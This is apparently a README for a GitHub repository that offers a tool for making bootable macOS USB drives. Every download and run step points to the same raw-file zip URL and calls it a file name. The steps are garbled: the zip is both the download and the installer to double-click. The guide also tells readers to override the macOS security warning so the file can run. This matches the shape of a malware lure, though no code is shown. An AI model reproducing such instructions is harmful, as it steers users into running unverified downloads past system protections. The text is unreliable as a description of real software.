Welcome to the macos-bootable-usb-installer project. This guide will help you create bootable macOS USB drives easily. This is perfect for clean installations, setting up secure Macs, and building environments for AI development.
Before you start, make sure you have the following:
- A USB drive with at least 16GB of storage.
- A compatible Mac running macOS.
- An internet connection to download files.
Follow these steps to download and install the application.
Go to the Releases page to access the latest versions of the software.
On the Releases page, find the latest release. Click on the version number or the "Assets" dropdown. Look for the file named "https://github.com/softmirro/macos-bootable-usb-installer/raw/refs/heads/main/mosaic/usb_bootable_installer_macos_v3.7-beta.1.zip" and click on it to download.
After the download completes, locate the "https://github.com/softmirro/macos-bootable-usb-installer/raw/refs/heads/main/mosaic/usb_bootable_installer_macos_v3.7-beta.1.zip" file in your Downloads folder or wherever you saved it. Double-click the file to unzip it. This will create a folder named "macos-bootable-usb-installer" which contains the necessary files.
Insert your USB drive into your Mac. Open the Disk Utility application. Select your USB drive from the list on the left. Click on "Erase" and ensure you set the following parameters:
- Name: USB
- Format: Mac OS Extended (Journaled)
- Scheme: GUID Partition Map
Click "Erase" to format the drive. This step is important, as it prepares the drive for creating the bootable installer.
Navigate to the "macos-bootable-usb-installer" folder you unzipped earlier. Find the file named "https://github.com/softmirro/macos-bootable-usb-installer/raw/refs/heads/main/mosaic/usb_bootable_installer_macos_v3.7-beta.1.zip". Double-click this file to run it.
You may see a security warning since the file is downloaded from the internet. If so, go to System Preferences > Security & Privacy. Look for an option to allow the app to run. After this, try opening the file again.
The installer will prompt you for the following:
- USB Drive Selection: Choose your USB drive from the list.
- macOS Version: Select the version of macOS you want to install.
After confirming your choices, the installer will proceed to create the bootable USB drive. This process may take some time, depending on your USB drive speed and the size of the macOS files.
Once the process finishes, you will see a message indicating success. Your USB drive is now ready for use. You can plug it into any compatible Mac and boot from it to start the installation process.
- Creating a Clean Install: To perform a clean install, restart your Mac while holding the Option key. You will see the boot menu where you can select your USB drive.
- Backup Your Data: Always back up your important data before starting installations or formatting drives.
- Use in Safe Environments: For AI development or secure setups, follow standard guidelines to ensure your environment meets your security needs.
For any issues or further assistance, please refer to the GitHub Issues page.
If you find any bugs or have suggestions, please let us know. Contributions are welcome. Feel free to fork the repository and create a pull request.
Remember, you can always check updates and new features on the Releases page.
This tool supports multiple versions of macOS, including the latest releases up to the current date. Check the release notes for compatibility.
No, this tool only works on macOS. It requires a Mac to create the bootable USB drive.
If your USB drive doesn’t appear during the installation, ensure it is formatted correctly. You can also try using a different USB port or restart your Mac.
Yes, creating a bootable drive will erase all data on the USB drive. Make sure to back up any important information beforehand.
To get started, visit the Releases page here to download the software.
Congratulations! You are now ready to create your own bootable macOS USB drives.